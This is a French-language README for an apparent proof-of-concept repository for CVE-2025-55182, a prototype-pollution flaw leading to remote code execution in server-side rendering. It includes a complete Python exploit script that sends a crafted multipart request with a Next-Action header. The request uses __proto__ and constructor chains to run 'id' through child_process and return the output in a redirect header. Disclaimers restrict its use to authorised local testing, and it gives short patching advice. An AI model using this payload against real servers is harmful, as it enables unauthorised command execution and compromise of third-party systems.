
Preuve de concept pour CVE-2025-55182, démontrant une pollution de prototype menant à une exécution de code à distance dans des implémentations de rendu côté serveur. Comprend un script d'exploitation Python et des recommandations de sécurité.
Ce dépôt contient une preuve de concept (PoC) pour CVE-2025-55182, une vulnérabilité impliquant une pollution de prototype menant à une exécution de code à distance (RCE) dans certaines implémentations de rendu côté serveur.
⚠️ Avertissement : Cette PoC est strictement destinée à des fins éducatives, de recherche et de tests de sécurité autorisés sur des environnements personnels ou contrôlés. Toute utilisation non autorisée sur des systèmes sans permission est illégale.
La vulnérabilité se produit lorsque des entrées utilisateur non validées sont injectées dans les structures d'objets JavaScript internes (pollution de prototype). Combinée à des flux d'exécution spécifiques, cela peut conduire à une exécution de code arbitraire.
Dans cette PoC, des propriétés chaînées telles que __proto__ et constructor sont utilisées pour faire escalader la pollution vers un contexte d'exécution.
Ci-dessous le exploit.py montrant comment la vulnérabilité peut être exploitée :
import requests
import json
url = "http://localhost:3000"
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36",
"Next-Action": "x",
}
prefix = "var res=process.mainModule.require('child_process').execSync('id').toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});"
files = {
"0": (
None,
json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then":"$B1337"}',
"_response": {
"_prefix": prefix,
"_formData": {"get": "$1:constructor:constructor"}
}
}),
"application/json",
),
"1": (None, "\"$@0\""),
}
response = requests.post(url, headers=headers, files=files)
print("Headers:", response.headers.get('x-action-redirect'))
python3 exploit.py
Assurez-vous de l'exécuter uniquement sur un environnement local ou de développement.
Si cette vulnérabilité affecte un projet réel, vérifiez et installez les derniers correctifs de sécurité publiés par les mainteneurs.
child_process en productionLicence MIT